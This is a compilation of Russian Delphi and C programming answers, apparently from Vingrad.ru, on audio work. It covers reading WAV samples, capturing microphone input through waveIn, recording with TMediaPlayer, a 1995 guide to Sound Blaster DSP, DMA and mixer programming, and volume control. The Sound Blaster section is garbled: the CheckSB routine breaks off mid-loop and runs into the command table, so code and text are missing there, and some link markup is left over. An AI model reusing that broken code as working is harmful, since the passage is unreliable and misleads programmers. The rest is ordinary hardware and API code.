Затем считал заголовок Wav- SampleCount, SamplesPerSec, BitsPerSample, Channeles.
Затем считал данные- GetMem(buf, SampleCount * Channeles * BitsPerSample);
Описал массив Volume- SetLength(Volume, SampleCount);
Затем - F.Read(buf^, SampleCount*2); F.Free;
Затем заполнил массив -

buf16 := buf;
for h := 0 to SampleCount - 1 do
  begin
    Volume[h] := abs(buf16^);
    inc(buf16);
  end;
FreeMem(buf);

Затем строил график(в экранных координатах) - по горизонтальной оси откладывал значения SampleCount, по вертикальной значения Volume[h].
График получается точно такой же как в SoundForge.
Единственно, я писал программу для конкретного случая - у меня файлы по 10 минут, моно, 11025 Гц., 16 бит. Так что программа у меня не универсальная. Но работает нормально. По времени: обработка файла и построение графика около 4 -5 секунд.

Автор ответа: TPavel
Взято с Vingrad.ru http://forum.vingrad.ru


Как можно получить звук с микрофона?

unit receiver;
interface
uses mmsystem, classes;
const
samp_per_sec = 44100;
samp_cnt = samp_per_sec div 5;
buf_len = samp_cnt * 2;
type
PSample16M = ^TSample16M;
TSample16M = SmallInt;
PArrayOfSample = ^TArrayOfSample;
TArrayOfSample = array[1..samp_cnt] of TSample16M;
TReceiver = class
private
hwi: Integer;
fmt: tWAVEFORMATEX;
whdr1: WAVEHDR;
buf1: TArrayOfSample;
whdr2: WAVEHDR;
buf2: TArrayOfSample;
FStoped: Boolean;
FOnChange: TNotifyEvent;
procedure SetStoped(const Value: Boolean);
public
Peak: Integer;
Buffer: PArrayOfSample;
destructor Destroy; override;
procedure Start;
procedure Stop;
property Stoped: Boolean read FStoped write SetStoped;
property OnChange: TNotifyEvent read FOnChange write FOnChange;
end;
var rec: TReceiver;

implementation

procedure waveInProc(const hwi, uMsg, dwInstance: Integer; var hdr: WAVEHDR; const dwP2: Integer); stdcall;
const divs = samp_cnt div 100;
var
i, p: Integer;
buf: PArrayOfSample;
begin
if rec.Stoped then Exit;
case uMsg of
WIM_OPEN: begin end;
WIM_DATA: begin
rec.Buffer := PArrayOfSample(hdr.lpData);
buf := PArrayOfSample(hdr.lpData);
p := 0;
for i := 0 to samp_cnt div divs do p := p + Abs(buf[i * divs]);
rec.Peak := p div (samp_cnt div divs);
if Assigned(rec.FOnChange) then rec.FOnChange(rec);
waveInUnprepareHeader(hwi, @hdr, SizeOf(WAVEHDR));
waveInPrepareHeader(hwi, @hdr, SizeOf(WAVEHDR));
waveInAddBuffer(hwi, @hdr, SizeOf(WAVEHDR));
end;
WIM_CLOSE: begin end;
end;
end;

{ TReceiver }

destructor TReceiver.Destroy;
begin
Stoped := True;
inherited;
end;

procedure TReceiver.SetStoped(const Value: Boolean);
begin
FStoped := Value;
if Value then
begin
waveInStop(hwi);
waveInUnprepareHeader(hwi, @whdr1, SizeOf(WAVEHDR));
waveInUnprepareHeader(hwi, @whdr2, SizeOf(WAVEHDR));
waveInReset(hwi);
waveInClose(hwi);
end
else
begin
with fmt do
begin
wFormatTag := WAVE_FORMAT_PCM;
nChannels := 1;
nSamplesPerSec := samp_per_sec;
nBlockAlign := 2;
nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
wBitsPerSample := 16;
cbSize := 0;
end;
waveInOpen(@hwi, WAVE_MAPPER, @fmt, Cardinal(@waveInProc), hInstance, CALLBACK_FUNCTION);
with whdr1 do
begin
lpData := @buf1;
dwBufferLength := buf_len;
dwBytesRecorded := 0;
dwUser := 0;
dwFlags := 0;
dwLoops := 0;
lpNext := nil;
reserved := 0;
end;
waveInPrepareHeader(hwi, @whdr1, SizeOf(WAVEHDR));
waveInAddBuffer(hwi, @whdr1, SizeOf(WAVEHDR));
with whdr2 do
begin
lpData := @buf2;
dwBufferLength := buf_len;
dwBytesRecorded := 0;
dwUser := 0;
dwFlags := 0;
dwLoops := 0;
lpNext := nil;
reserved := 0;
end;
waveInPrepareHeader(hwi, @whdr2, SizeOf(WAVEHDR));
waveInAddBuffer(hwi, @whdr2, SizeOf(WAVEHDR));
waveInStart(hwi);
end;
end;

procedure TReceiver.Start;
begin
Stoped := False;
end;

procedure TReceiver.Stop;
begin
Stoped := True;
end;

initialization
rec := TReceiver.Create;
finalization
rec.Free;
end.

вот. отображать уровень можно через поле Peak при событии OnChange, там же (в этом событии) можно работать с полем Buffer в котором как раз содержется записанный сигнал.
Вся работа осуществляется через глобальную переменную rec . Возможно это не лучшая реализация с точки зрения ООП, но работает Запись происходит с глубиной 16 бит и частотой 44100 в режиме моно. После небольшой переделки все это может работать с любыми частотами и каналами и глубинами.

Автор cully
Взято с Vingrad.ru http://forum.vingrad.ru


Как можно получить звук с помощью MediaPlayer?

пример взят из рассылки "Мастера DELPHI. Новости мира компонент, FAQ, статьи..."

procedure TForm1.btRecordClick(Sender: TObject);
begin
with Media do
begin
{ Set FileName to the test.wav file to }
{ get the recording parameters. }
FileName := 'd:\test.wav';
{ Open the device. }
Open;
{ Start recording. }
Wait := False;
StartRecording;
end;
end;

procedure TForm1.btStopClick(Sender: TObject);
begin
with Media do
begin
{ Stop recording. }
Stop;
{ Change the filename to the new file we want to write. }
FileName := 'd:\new.wav';
{ Save and close
the file. }
Save;
Close;
end;
end;

Взято с Vingrad.ru http://forum.vingrad.ru


Программирование Sound Blaster

Статья взята с " target=_blankhttp://www.programmist.info[/i]

Программирование Sound Blaster

Sound Blaster воспроизводит как синтезированный звук так и оцифровые звуки.
В этом файле будет расмотрено программирование воспроизведения цифровых
выборок через Sound Blaster DSP.

+-------------------------------------+-------------------------------------
| Порты ввода/вывода SoundBlaster DSP |
+=====================================+

Чип DSP ( Цифровой Звуковой Процессор ) программируется через пять портов,
которые определяются через базовый адрес Sound Blaster:

2x6h - DSP Сброс
2xAh - DSP Чтение
2xCh - DSP Запись (команды/данные) ,
состояние буфера записи DSP( Бит 7 )
2xEh - Состояние буфер чтения DSP ( Бит 7 ),
подтверждение прерывания DSP
Пятый порт только для Sound Blaster 16
2xFh - подтверждение прерывания DSP с 16 битами

Где x = 1 для базового адреса 210h.
x = 2 для базового адреса 220h.
.
.
x = 6 для базового адреса 260h.

+-----------+----------------------------------------------------------------
| Сброс DSP |
+===========+

Необходимо сбросить DSP прежде, чем начать работу с ним. Сброс осуществляется
по следующему алгоритму:

1) Запишите 1 в порт сброса (2x6)
2) Ждите 3 микросекунды
3) Запишите 0 в порт сброса (2x6)
4) Читайте порт состояния буфера чтения (2xE) пока бит 7 = 1
5) Опрашивайте порт данных чтения (2xA) пока вы не получите AAh.

Для сброса DSP требуется около 100 мкс. Если после этого вы не получили
AAh. Значит, либо нет звуковой платы, или задан был неверный базовый
адрес.

Пример:

#define MAX_BASE_SB 5

int bases[MAX_BASE_SB]={ 0x220, 0x230, 0x240, 0x250, 0x260 };
int baseAddrSB=0x220;

// Прочитать

unsigned char pascal ReadSB
(void)
{
unsigned int value;

while (!(inp((baseAddrSB+0xE)) & 0x80));
value = inp((baseAddrSB+0xA));
return value;
}

// Проверить наличие

char pascal CheckSB
( void )
{
int i, j;
for ( j=0; j 23 KHz. Затем младший
байт длины, потом старший.

WriteSB(DMA_8_BIT_DAC);
WriteSB(lo(len));
WriteSB(hi(len));

24h - Включение записи с ADC 8 Бит 4KHz - > 23 KHz
74h - Включение вывода на DAC 4 Бит ADPCM 4KHz - > 12 KHz
75h - Включение вывода на DAC 4 Бит ADPCM с 4KHz - > 12 KHz с байтом ссылки
76h - Включение вывода на DAC 2.6 Бит ADPCM 4KHz - > 13 KHz
77h - Включение вывода на DAC 2.6 Бит ADPCM с 4KHz - > 13 KHz с байтом ссылки
16h - Включение вывода на DAC 2 Бит ADPCM 4KHz - > 11 KHz
17h - Включение вывода на DAC 2 Бит ADPCM с 4KHz - > 11 KHz с байтом ссылки

ADPCM ( Адаптивная Импульсно-кодовая Модуляция) - это звуковая методика
сжатия, где различие между последовательными выборками сохраняется скорее
чем их фактические значения. В режимах с байтами ссылки, первый байт -
фактическое начальное значение. Наличие режимов с и без байтов ссылки значит
что вы можете выводить последовательные блоки без наличия байта ссылки.

Bxh - программмирование режима DMA с 16 битным цифровым звуком.
( Только для SB16 )
Командная последовательность:
Команда, Режим, Lo(Length-1), Hi(Length-1):

Первый байт команды состоит:

D7 D6 D5 D4 D3 D2 D1 D0
--+--+--+--+---+----+-----+--
1 0 1 1 A/D A/I FIFO 0
---------------+----+-----+--
0=D/A 0=SC 0=off
1=A/D 1=AI 1=on

Общие команды:
B8 - одиночный цикл с 16-битной записи звука
B0 - одиночного цикла с 16-битным воспроизведением
BE - автоинициализируемая 16-битная запись
B6 - автоинициализируемое 16-битной воспроизведение

Режим:

D7 D6 D5 D4 D3 D2 D1 D0
---+--+-------+-----+--+--+--+--
0 0 Стерео Знак 0 0 0 0
0-Моно 0-без
1-Стерео 1-со знаком

Cxh - программирование режим DMA с 8-битным цифровым звуком.
( Только для SB16 )
Те же самые команды, что для 16-бит.
C8 - одиночный цикл с 8-битной записи звука
C0 - одиночного цикла с 8-битным воспроизведением
CE - автоинициализируемая 8-битная запись
C6 - автоинициализируемое 8-битной воспроизведение

FIFO используется чтобы удалять несогласованности в тот период выборки,
когда звуковая плата не способна получить DMA, когда это требуется.
Без FIFO плата делает попытку захвата DMA в точно тот момент, когда
требуется выборка. Если другое устройство с более высоким приоритетом
обращается к DMA, звуковая плата ожидает и скорость выборки может
уменьшаться. FIFO позволяет во время выборки с DMA быть более гибким DSP
без потери звукового качества. FIFO очищается всякий раз, когда команда
посылается DSP. В режиме одиночного цикла, DSP постоянно перепрограммируется.
С FIFO DSP может еще содержать данные, который не были выданы, когда
команда очистила DAC. Чтобы избежать этого, FIFO должен быть переключен
в режим с одиночным циклом. Затем, снова переведен в автоинициализируемый
режим, когда DSP не перепрограммируется.

1Ch - Включение вывода на DAC 8 Бит 4KHz - > 23 KHz с автоинциализацией
90h - Включение вывода на DAC 8 бит 4kHz - > 44 KHz с автоинициализацией
48h - Установить длину блока на пересылку перед посылкой 91h, 99h
сначала младший байт затем старший длину.
91h - Включение вывода на DAC 8 бит 4kHz - > 44 KHz стерео
99h - Включение записи с ADC 8 бит 4kHz - > 44 KHz стерео

WriteSB(SET_LEN_DMA_8_BIT);
WriteSB(lo(len));
WriteSB(hi(len));
WriteSB(DMA_8_BIT_DAC_HI);

D0h - остановить 8-битный DMA
D4h - возобновить 8-битный DMA
D5h - остановить 16-битный DMA
D6h - возобновить 16-битный DMA
Эти команды пригодны как и для автоинциализированного режима,
так и для одиночных циклов.

D9h - Выход из авто инициализируемого режима DMA с 16 битами
после окончания текущего блока.
DAh - Выход из авто инициализируемого режима DMA с 8 битами
после окончания текущего блока.

E1h - Получить номер версии DSP. После посылки этой команды, прочитайте
из DSP два байта. Первый байт - главный номер версии и второй
байт - малый номер версии. Версия 4.00 - это SB16.

Версия | Стерео | Частота | FIFO | 16 бит
--------+--------+----------+------+--------
< 2.00 | - | до 21379 | - | -
>= 2.00 | - | до 21379 | + | -
>= 2.01 | - | до 43478 | + | -
>= 3.00 | + | до 43478 | + | -
>= 3.01 | + | до 43478 | + | +

Пример определения версии:

int pascal VersionSB
( void )
{
char ch, ch1;
WriteSB(0xE1);
ch=ReadSB();
ch1=ReadSB();
verSB=ch<<8 | ch1;
if ( verSB>=0x200 )
Fifo=1;
if ( verSB>=0x201 )
MaxFrequency=1;
if ( verSB>=0x300 )
Stereo=1;
if ( verSB>=0x301 )
SixteenBit=1;
return verSB;
}

+----------------------+----------------------------------------------------
| Программирование DMA |
+======================+

Контроллер DMA (Прямого Доступа В память) управляет пересылками данных
между устройствами ввода/вывода и памятью без использования центрального
процессора. IBM совместимая ЭВМ имеет два контроллера DMA один для
пересылок с 8 битами и другой для пересылок с 16 битами. Контроллер DMA,
вместе с внешним регистром страницы, способен на перемещение блоков по 64 КБ.
Ниже приведена информация по программированию DMA.

Адреса портов для адреса DMA и регистров счета.

Контроллер | Адрес | Функция
---------------+---------+-----------------
DMA 1 | 00 | Канал 0 адреса
c 8 битами | 01 | Канал 0 счета
Подчиненный | 02 | Канал 1 адрес
| 03 | Канал 1 счета
| 04 | Канал 2 адреса
| 05 | Канал 2 счета
| 06 | Канал 3 адреса
| 07 | Канал 3 счета
--------------+---------+------------------
DMA 2 | C0 | Канал 4 адреса
с 16 битами | C2 | Канал 4 счета
Ведущий | C4 | Канал 5 адреса
| C6 | Канал 5 счета
| C8 | Канал 6 адреса
| CA | Канал 6 счета
| CC | Канал 7 адреса
| CE | Канал 7 счета

Адреса портов для регистров управления

Адрес | Операция| Функция
DMAC1 DMAC2 | |
------------+---------+-----------------------------------
0A D4 | Запись | регистр маски
0B D6 | Запись | регистр режима
0C D8 | Запись | регистр сброс байта flip-flop

Адреса портов для младших регистров страницы

Адрес | Функция
--------+-----------------------------------
81 | 2 Канал DMA с 8 битами
82 | 3 Канал DMA с 8 битами
83 | 1 Канал DMA с 8 битами
87 | 0 Канал DMA с 8 битами
89 | 6 Канал DMA с 16 битами
8A | 7 Канал DMA с 16 битами
8B | 5 Канал DMA с 16 битами

Бита регистра режима

БИТ | Функция
---------+----------------------------------
Биты 7:6 | Биты выбора Режима
00 | Выбранный Режим запроса
01 | Одиночный выбранный режим
10 | Выбранный блочный режим
11 | Каскадный выбранный режим
---------+----------------------------------
Бит 5 | Бит приращения / декремента Адреса
1 | Выбранный Декремент адреса
0 | Выбранное Приращение адреса
---------+----------------------------------
Бит 4 | Авто инициализация
1 | Автоинициализация включена
0 | Одиночный
---------+----------------------------------
Биты 3:2 | Биты Пересылки
00 | Проверите пересылку
01 | Запишите пересылку ( К памяти )
10 | Читайте пересылку ( Из памяти )
11 | Запрещенный
** | Игнорируется если биты 7:6 = 11
---------+----------------------------------
Биты 1:0 | Биты выбора Канала
00 | Выберите канал 0 (4)
01 | Выберите канал 1 (5)
10 | Выберите канал 2 (6)
11 | Выберите канал 3 (7)

Биты маски записи

БИТ | Функция
----------+-----------------------------------
Биты 7:3 | Неиспользуемый ( Набор к 0 )
|
Бит 2 | Установить/сбросить бит маски
1 | Установить бит маски ( Отключите канал )
0 | Сбросить бит маски ( Доступен канал )
----------+------------------------------------
Биты 1:0 | Биты выбора Канала
00 | канал 0 (4)
01 | канал 1 (5)
10 | канал 2 (6)
11 | канал 3 (7)

DMAC2 используется для работы с 16 битами и DMAC1 используется для
работы с 8 битами. Вот пример программирования DMA:

1) Вычислите абсолютный линейный адрес вашего буфера
LinearAddr = MK_SEG( Buf ) * 16L + MK_OFF ( Buf );

2) Отключите канал DMA звуковой платы установкой бита маски
outp(MaskPort, 1 + ( DMAChannel % 4 ));

3) Очистите указатель байта flip-flop
outp(ClrPort, DMAChannel );

4) Запишите режим DMA для пересылки
Биты выбора режима должны устанавливаться в 00h для режима запроса.
Адрес бита +/- должен устанавливаться в 0 для приращения адреса.
Бит автоинициализации должен устанавливаться соответственно.
Биты пересылки должны устанавливаться в 10h для воспроизведения и
01h для записи. Выбор канала должен устанавливаться так же как и на
канал DMA звуковой платы.
outp(ModePort, Mode + ( DMAChannel % 4 ));

Некоторые часто используемые режимы:
48h + Канал - одиночный цикл воспроизведение
58h + Канал - автоинициализируемое воспроизведение
44h + Канал - запись одиночного цикла
54h + Канал - автоинициализируемая запись

5) Запишите смещение буфера, младший байт затем старший байт. Для
шестнадцати разрядных данных, смещение должно быть в словах от начала
128k-байтной страницы, для 8-битных от 64K. Самый простой метод для
вычисления смещения с 16 битами - это разделить линейный адрес на
два перед вычислением смещения.

#define lo(value) (unsigned char)((value) & 0x00FF)
#define hi(value) (unsigned char)((value) >> 8)

if ( SixteenBit==1 )
BufOffset= ( LinearAddr / 2 ) % 65536;
else BufOffset= LinearAddr % 65536;
outp(BaseAddrPort, lo(BufOffset));
outp(BaseAddrPort, hi(BufOffset));

6) Запишите длину пересылки в соответствующий порт счета, младший
байт затем старший байт. Для пересылки с 8 битами, запишите
длину в байтах минус единица. Для пересылки с 16 битами, запишите
номер длину в словах минус единица.

if ( SixteenBit==1 )
TransferLength/=2;
outp(CountPort, lo(TransferLength-1));
outp(CountPort, hi(TransferLength-1));

7) Запишите страницу буфера в регистр страницы DMA.
outp(PagePort, ( LinearAddr / 65536));

8) Включите DMA звуковой платы очистив соответствующий бит маски
outp(MaskPort, DMAChannel % 4);

Пример :
int MaskPort, ClrPort, ModePort, ModeDMA, CountPort, PagePort,
BaseAddrPort;
int pageports[4]={ 0x87, 0x83, 0x81, 0x82 };

MaskPort=0x0A; ClrPort=0xC; ModePort=0xB;
ModeDMA=0x48+DMAChannel;
CountPort=1+DMAChannel*2;
BaseAddrPort=DMAChannel*2;
PagePort=pageports[DMAChannel];

outportb(MaskPort, 4 + DMAChannel);
outportb(ClrPort, DMAChannel );
outportb(ModePort, ModeDMA );
outportb(BaseAddrPort,lo(aligned_physical));
outportb(BaseAddrPort,hi(aligned_physical));
outportb(PagePort,(unsigned char)((aligned_physical>>16)&0xFF));
outportb(CountPort,lo(len-1));
outportb(CountPort,hi(len-1));
outportb(MaskPort, DMAChannel );

+---------------------------+------------------------------------------------
| Установка частоты выборки |
+===========================+

Для версии Sound Blaster ниже 4.00 установка частоты выборки выполняется
посылкой DSP команды 40h. При этом частота преобразуется к константе времени
по формуле:
4KHz - > 23 KHz:
Time Constant = 256 - (1,000,000 / sampling rate)
= 256 - (1,000,000 / 8,000 )
= 131

4KHz - > 44 KHz:
Time Constant = (MSByte of) 65536 - (256,000,000 / sampling rate)
= (MSByte of) 65536 - (256,000,000 / 44,100)
= (MSByte of) 59731
= (MSByte of) 0E953h
= 0E9h

void pascal RateSB
( unsigned int rate )
{
unsigned char tc;

if ( MaxFrequency==0 )
{
if ( rate<5000 ) rate=5000;
if ( rate>22528 ) rate=22528;
tc = (unsigned char)(256 - (1000000/rate));
}
else
{
if ( rate<5000 ) rate=5000;
if ( rate>45056 ) rate=45056;
tc = (unsigned char)(hi((unsigned int)(65536-(256000000L/rate))));
}
WriteSB(TIME_CONSTANT);
WriteSB(tc);
}

В отличие от этого SB16 программируется фактической частотой выборки.
Команда 41h используется для воспроизведения, а 42h используется для записи.
if ( Play==1 )
WriteSB ( 0x41 );
else WriteSB ( 0x42 );
WriteSB ( hi( frequency ) );
WriteSB ( lo( frequency ) );

+---------------------------------------+------------------------------------
| Алгоритм цифрового ввода/вывода звука |
+=======================================+

Чтобы записывать или воспроизводить звук, вы должны использовать следующую
последовательность:

1) Распределите буфер который не пересекает границу 64 Kb
2) Установите программу обработки прерывания.
3) Запрограммируйте контроллер DMA для фоновой пересылки
4) Установите частоту выборки
5) Запишите команду I/O в DSP
6) Запишите режим пересылки I/O в DSP
7) Запишите размер блока в DSP ( Младший байт/Старший байт )

После этого сразу начнется запись или воспроизведение звука.

Выделение памяти под буфер DMA:

data=(char far *)farmalloc(131000L);
if ( data==NULL )
{
printf("Нет места под буфер DMA\n");
return 0;
}
physical=((unsigned long)FP_OFF(data))+(((unsigned long)FP_SEG(data))<<4);
aligned_physical=physical+0x0FFFFL;
aligned_physical&=0xF0000L;
aligned=MK_FP((unsigned )((aligned_physical >> 4) & 0xFFFF),0);

Ниже приведены примеры последовательностей для программирования SB
с помощью DMA.
Нормальная частота, воспроизведение:

1) Записать D1h в 2xCh
2) Установить обработчик прерывания
3) Записать 40h в 2xCh
4) Записать константы времени в 2xCh
5) Запрограммировать DMA
6) Записать 14h в 2xCh
7) Записать длину выборки
8) Обслуживать прерывания, до окончания выборки
9) Восстановить старый обработчик
10) Записать D3h в 2xCh

При этом можно записывать любые команды в DSP, пока идет воспроизведение.

Повышенная частота, воспроизведение:

1) Записать D1h в 2xCh
2) Установить обработчик прерывания
3) Записать 40h в 2xCh
4) Записать константы времени в 2xCh
5) Запрограммировать DMA
6) Записать 48h в 2xCh
7) Записать длину выборки
8) Записать 91h в 2xCh
9) Обслуживать прерывания, до окончания выборки
10) Восстановить старый обработчик
11) Записать D3h в 2xCh

Нормальная частота, запись звука:

1) Установить обработчик прерывания
2) Записать 40h в 2xCh
3) Записать константы времени в 2xCh
4) Запрограммировать DMA
5) Записать 24h в 2xCh
6) Записать длину выборки
7) Обслуживать прерывания, до окончания выборки
8) Восстановить старый обработчик

При этом можно посылать любые команды в DSP, пока идет запись.

Повышенная частота, запись:

1) Установить обработчик прерывания
2) Записать 40h в 2xCh
3) Записать константы времени в 2xCh
4) Запрограммировать DMA
5) Записать 48h в 2xCh
6) Записать длину выборки
7) Записать 99h в 2xCh
8) Обслуживать прерывания, до окончания выборки
9) Восстановить старый обработчик

+------------------------------------+--------------------------------------
| Конец цифрового ввода/вывода звука |
+====================================+

Когда пересылка закончена генерируется прерывание. Фактический номер
прерывания зависит от установки IRQ на плате Sound Blaster:

IRQ | Прерывание
-----+------------
2 | 0Ah
3 | 0Bh
5 | 0Dh
7 | 0Fh

Для обслуживания прерывания необходимо выполнить:

1) подтвердите прием прерывания от DSP прочитав порт (2xEh) один раз для
8-битного звука, или порт 2xF для 16-битного звука.
2) Вывод следующего буфера, если есть.
3) Выведите значение 20h ( EOI ) в порт контроллера прерывания 20h,
а если IRQ8-15(прерывания 70h-77h), то записать 20h в A0h.

Установка прерывания :

DMA_complete = 0;
disable();
OldIRQ = getvect(0x08 + SbIRQ);
setvect(0x08 + SbIRQ,SBHandler);
enable();

Обработчик прерывания :

static void far interrupt SBHandler( void )
{
enable();
DMA_complete = 1;

// подтведить
inportb(baseAddrSB+0xE);
outportb(0x20,0x20);
}

Инициализация обработчика :

DMA_complete = 0;
im = inportb(0x21);
tm = ~(1 << SbIRQ);
outportb(0x21,im & tm);
enable();

Сброс обработчика :

disable();
setvect(0x08 + SbIRQ,OldIRQ);
i = inportb(0x21);
outportb(0x21, i | (1 << SbIRQ));
enable();

Воспроизведение файла выборки:

f = fopen(argv[1],"rb");
raw = ( char far * ) farmalloc(32000L);
if ( f == 0 || raw==0 )
{
printf("Не могу открыть файл выборки - %s\n",argv[1]);
printf("Нет памяти\n",argv[1]);
ResetSB();
return;
}

printf("Воспроизведение выборки ...\n");
WriteSB(ON_SOUND_SB);
RateSB(22222);

len=fread(raw,1,32000,f);
while ( 1 )
{
if ( len==0 ) break;
PlaySB(raw,len);
len=fread(raw,1,32000,f);
while ( StatePlaySB()==0 )
if ( kbhit() ) { getch(); goto Fin; }
}

Fin:
if ( f!=0 ) fclose(f);
if ( raw!=0 ) farfree(raw);
ResetSB();

+-------------+-------------------------------------------------------------
| Стерео звук |
+=============+

При воспроизведении стерео звуков необходимо посылать 2 байта DSP, первый
для левого канала, второй для правого. Необходимо так же указать SB,
что вы воспроизводите стерео звук, через регистры миксера.

+----------------------+----------------------------------------------------
| Миксер Sound Blaster |
+======================+

Ниже приведена информация для SbPro.
Порт 2x4h - индексный порт миксера, 2x5h - порт данных (чтения/записи).

void pascal WriteMixerSB
( char index, char val )
{
outportb(baseAddrSB+4,index);
outportb(baseAddrSB+5,val);
}

char pascal ReadMixerSB
( char index )
{
outportb(baseAddrSB+4,index);
return inportb(baseAddrSB+5);
}

Регистр Сброса Данных используется для инициализации миксера. Установите
этот регистр в 0 перед изменением любого из других регистров миксера.

void pascal ResetMixerSB
( void )
{
WriteMixerSB(0,0); // RESET
}

Регистр записи определяет источник звука и тип фильтра.

Индекс = 0Ch

7 6 5 4 3 2 1 0
--------+-------+---+---+----
+---+---+ +-+-+
+---+ |
| |
В Фильтре ADC Источник
000 - Низкие 00 - Микрофон 1
001 - Высокие 01 - CD
010 - Нет Фильтра 10 - Микрофон 2
11 - Линейный вход

#define SOURCE_MIC1 0
#define SOURCE_CD 1
#define SOURCE_MIC2 2
#define SOURCE_LINE 3

void pascal InputMixerSB
( char sou, char filtr )
{
char val;
val=(sou<<1)&0x6;
val|=(filtr<<3)&0x38;
WriteMixerSB(0xC,val);
}

Регистр воспроизведения служит для установки фильтра и стерео звука.

Индекс = 0Eh

7 6 5 4 3 2 1 0
--------+---------------+----
| |
| |
0 - Использовать фильтр 0 - моно
1 - Без фильтра 1 - Stereo

#define MONO 0
#define STEREO 1

#define USE_FILTER 0
#define BYPASS_FILTER 1

void pascal OutputMixerSB
( char st, char filtr )
{
char val;
val=(st==1)?2:0;
val|=(filtr==1)?0x20:0;
WriteMixerSB(0xE,val);
}

Регистр общей громкости:

Индекс = 22h

7 6 5 4 3 2 1 0
+-----------+---+-----------+
+-----+-----+ +-----+-----+
| |
Громкость Громкость
Лево Право

void pascal MasterVolumeSB
( char left, char right )
{
char val;
val=right&0xf;
val|=(left<<4)&0xf0;
WriteMixerSB(0x22,val);
}

Регистр громкости DSP:

Индекс = 04h

7 6 5 4 3 2 1 0
+-----------+---+-----------+
+-----+-----+ +-----+-----+
| |
Громкость Громкость
Лево Право

void pascal VoiceVolumeSB
( char left, char right )
{
char val;
val=right&0xf;
val|=(left<<4)&0xf0;
WriteMixerSB(0x04,val);
}

Регистр громкости FM синтезатора:

Индекс= 26h

7 6 5 4 3 2 1 0
+-----------+---+-----------+
+-----+-----+ +-----+-----+
| |
Громкость Громкость
Лево Право

void pascal FMVolumeSB
( char left, char right )
{
char val;
val=right&0xf;
val|=(left<<4)&0xf0;
WriteMixerSB(0x26,val);
}

Регистр громкости CD:

Индекс = 28h

7 6 5 4 3 2 1 0
+-----------+---+-----------+
+-----+-----+ +-----+-----+
| |
Громкость Громкость
Лево Право

void pascal CDVolumeSB
( char left, char right )
{
char val;
val=right&0xf;
val|=(left<<4)&0xf0;
WriteMixerSB(0x28,val);
}

Регистр громкости линейного входа:

Индекс = 2Eh

7 6 5 4 3 2 1 0
+-----------+---+-----------+
+-----+-----+ +-----+-----+
| |
Громкость Громкость
Лево Право

void pascal LineVolumeSB
( char left, char right )
{
char val;
val=right&0xf;
val|=(left<<4)&0xf0;
WriteMixerSB(0x2E,val);
}

Регистр громкости микрофона:

Индекс = 0Ah

7 6 5 4 3 2 1 0
--------------------+-------+
+---+---+
|
Громкость микрофона.

void pascal MicVolumeSB
( char vol )
{
char val;
val=vol&0x7;
WriteMixerSB(0xA,val);
}

+------------+--------------------------------------------------------------
| Примечание:|
+============+

Данный документ составлен Анисимовым С.Ю. 08/1995. г. К-Чепецк,
Кировской обл. Россия. v1.( и последняя )
Данными для составления этого документа послужила информация
из различных источников. Поэтому автор не несет ответственность
за неверную информацию, и за повреждения техники и тел при
использовании этого документа.
С наилучшими пожеланиями, для всех любителей программировать Sound Blaster !
Vale !

Взято с Vingrad.ru http://forum.vingrad.ru


Как сделать регулятор громкости?

ВОТ нашел в Интернете:

Эта программа увеличивает громкость выбранного канала на 1000.

uses MMSystem;

procedure TForm1.Button1Click(Sender: TObject);
var
  vol: longint;
  LVol, RVol: integer;
begin
  AuxGetVolume(ListBox1.ItemIndex, @Vol);
  LVol := Vol shr 16;
  if LVol < MaxWord - 1000
    then LVol := LVol + 1000
    else LVol := MaxWord;
  RVol := (Vol shl 16) shr 16;
  if RVol < MaxWord - 1000
    then RVol := RVol + 1000
    else RVol := MaxWord;
  AuxSetVolume(ListBox1.ItemIndex, LVol shl 16 + RVol);
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  i: integer;
  cap: TAuxCaps;
begin
  for i := 0 to auxGetNumDevs - 1 do begin
    auxGetDevCaps(i, Addr(cap), SizeOf(cap));
    ListBox1.Items.Add(cap.szPname)
  end;
end;

Второй вариант:

uses mmsystem;

function GetWaveVolume: DWord;
var
Woc : TWAVEOUTCAPS;
Volume : DWord;
begin
result:=0;
if WaveOutGetDevCaps(WAVE_MAPPER, @Woc, sizeof(Woc)) = MMSYSERR_NOERROR then
if Woc.dwSupport and WAVECAPS_VOLUME = WAVECAPS_VOLUME then
begin
WaveOutGetVolume(WAVE_MAPPER, @Volume);
Result := Volume;
end;
end;

procedure SetWaveVolume(const AVolume: DWord);
var Woc : TWAVEOUTCAPS;
begin
if WaveOutGetDevCaps(WAVE_MAPPER, @Woc, sizeof(Woc)) = MMSYSERR_NOERROR then
if Woc.dwSupport and WAVECAPS_VOLUME = WAVECAPS_VOLUME then WaveOutSetVolume(WAVE_MAPPER, AVolume);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Beep;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
LeftVolume: Word;
RightVolume: Word;
begin
LeftVolume := StrToInt(Edit1.Text);
RightVolume := StrToInt(Edit2.Text);
SetWaveVolume(MakeLong(LeftVolume, RightVolume));
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
Caption := IntToStr(GetWaveVolume);
end;

Автор MMM
Взято с Vingrad.ru http://forum.vingrad.ru


Как включить/выключить спикер?

Это выключит спикеp:
  SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE);

Это включит:
  SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE);

Alexey Lesovik
(2:5020/898.15)

Взято из FAQ:
Delphi and Windows API Tips'n'Tricks
olmal@mail.ru
http://www.chat.ru/~olmal


Как получить/изменить громкость?

procedure GetVolume(var volL, volR: Word);
var
  hWO: HWAVEOUT;
  waveF: TWAVEFORMATEX;
  vol: DWORD;
begin
  volL := 0;
  volR := 0;
  // init TWAVEFORMATEX
  FillChar(waveF, SizeOf(waveF), 0);
  // open WaveMapper = std output of playsound
  waveOutOpen(@hWO, WAVE_MAPPER, @waveF, 0, 0, 0);
  // get volume
  waveOutGetVolume(hWO, @vol);
  volL := vol and $FFFF;
  volR := vol shr 16;
  waveOutClose(hWO);
end;

procedure SetVolume(const volL, volR: Word);
var
  hWO: HWAVEOUT;
  waveF: TWAVEFORMATEX;
  vol: DWORD;
begin
  // init TWAVEFORMATEX
  FillChar(waveF, SizeOf(waveF), 0);
  // open WaveMapper = std output of playsound
  waveOutOpen(@hWO, WAVE_MAPPER, @waveF, 0, 0, 0);
  vol := volL + volR shl 16;
  // set volume
  waveOutSetVolume(hWO, vol);
  waveOutClose(hWO);
end;
